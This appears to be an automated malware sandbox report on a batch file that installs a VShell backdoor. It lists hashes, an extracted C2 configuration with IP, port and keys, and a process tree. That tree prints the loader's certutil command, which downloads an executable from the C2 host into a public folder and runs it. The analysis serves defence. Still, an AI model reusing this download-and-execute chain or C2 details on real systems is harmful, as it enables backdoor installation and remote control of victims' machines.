Analysis
- max time kernel
148s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
31/08/2026, 00:15
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
8 signatures
150 seconds
General
- Target windows.bat
- Size 500B
- Sample260831-akac2aea88
- SHA256 b27c7f4a6667970b1c0393191ed8135c5830e34b767f0a59bd089e185832544a
- MD5 0600f50ea42d643999fdcb836870fc5d
- SHA1 7795599b3c8105aed363d1647094b664a02d899a
- SHA512 d920276f90c8ebe5854edc4ec06e488db83709edcec503aeb1b145890f092f88bf76dc205d77c2b7f9ef36f3b8c4a8ea36516b4d02d6c194f0a02931eb53eae5
- TLSH T1B9F02E9D04121EB11795C9433CB174C9F14B48C54EB354649DD151FB5E451983DDAA91
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
68.64.181.23
Attributes
-
port
19999
-
salt
qwe123qwe
-
type
tcp
-
vkey
qwe123qwe
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/1884-7-0x0000000067700000-0x0000000067ED4000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 4 3308 certutil.exe 5 3308 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 1884 79d1174dtcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4232 cmd.exe 1104 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2440 WMIC.exe 2440 WMIC.exe 2440 WMIC.exe 2440 WMIC.exe 1884 79d1174dtcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 2440 WMIC.exe Token: SeSecurityPrivilege 2440 WMIC.exe Token: SeTakeOwnershipPrivilege 2440 WMIC.exe Token: SeLoadDriverPrivilege 2440 WMIC.exe Token: SeSystemProfilePrivilege 2440 WMIC.exe Token: SeSystemtimePrivilege 2440 WMIC.exe Token: SeProfSingleProcessPrivilege 2440 WMIC.exe Token: SeIncBasePriorityPrivilege 2440 WMIC.exe Token: SeCreatePagefilePrivilege 2440 WMIC.exe Token: SeBackupPrivilege 2440 WMIC.exe Token: SeRestorePrivilege 2440 WMIC.exe Token: SeShutdownPrivilege 2440 WMIC.exe Token: SeDebugPrivilege 2440 WMIC.exe Token: SeSystemEnvironmentPrivilege 2440 WMIC.exe Token: SeRemoteShutdownPrivilege 2440 WMIC.exe Token: SeUndockPrivilege 2440 WMIC.exe Token: SeManageVolumePrivilege 2440 WMIC.exe Token: 33 2440 WMIC.exe Token: 34 2440 WMIC.exe Token: 35 2440 WMIC.exe Token: 36 2440 WMIC.exe Token: SeIncreaseQuotaPrivilege 2440 WMIC.exe Token: SeSecurityPrivilege 2440 WMIC.exe Token: SeTakeOwnershipPrivilege 2440 WMIC.exe Token: SeLoadDriverPrivilege 2440 WMIC.exe Token: SeSystemProfilePrivilege 2440 WMIC.exe Token: SeSystemtimePrivilege 2440 WMIC.exe Token: SeProfSingleProcessPrivilege 2440 WMIC.exe Token: SeIncBasePriorityPrivilege 2440 WMIC.exe Token: SeCreatePagefilePrivilege 2440 WMIC.exe Token: SeBackupPrivilege 2440 WMIC.exe Token: SeRestorePrivilege 2440 WMIC.exe Token: SeShutdownPrivilege 2440 WMIC.exe Token: SeDebugPrivilege 2440 WMIC.exe Token: SeSystemEnvironmentPrivilege 2440 WMIC.exe Token: SeRemoteShutdownPrivilege 2440 WMIC.exe Token: SeUndockPrivilege 2440 WMIC.exe Token: SeManageVolumePrivilege 2440 WMIC.exe Token: 33 2440 WMIC.exe Token: 34 2440 WMIC.exe Token: 35 2440 WMIC.exe Token: 36 2440 WMIC.exe Token: SeDebugPrivilege 1884 79d1174dtcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4232 wrote to memory of 1104 4232 cmd.exe 90 PID 1104 wrote to memory of 2440 1104 cmd.exe 91 PID 1104 wrote to memory of 1616 1104 cmd.exe 92 PID 4232 wrote to memory of 3308 4232 cmd.exe 94 PID 4232 wrote to memory of 1884 4232 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4232 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2440
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:1616
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://68.64.181.23:19999/?h=68.64.181.23&p=19999&t=tcp&a=w64&stage=true" "C:\Users\Public\79d1174dtcp.exe"2⤵
- Downloads MZ/PE file
PID:3308
-
-
C:\Users\Public\79d1174dtcp.exe"C:\Users\Public\79d1174dtcp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1884
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\79d1174dtcp.exe
- Size 3KB
- SHA256 06a5b3bf4a7ec464abf18bc700e12eb160550aeebfe3efbef6f4955e28bbffe2
- MD5 c4947aa8eb4e125acb7b973c937eee99
- SHA1 d220a90beaf3cb15dbb7e93abc4d14519f548b69
- SHA512 b1549b2822a2d10f0645e73d197906c7a9b6176ab8a23ac32de11d4b2a4a5a46301685c90fb7746852fea5863a39dfe07c13cddddb61e8ab2ba871f115664df9
- TLSH T1DC71D64160501AF2D94CE37F8587B8A5FD4FB248A2C80B0F0798981B2F720BBB5DE613
- MD5 SHA1 SHA512 TLSH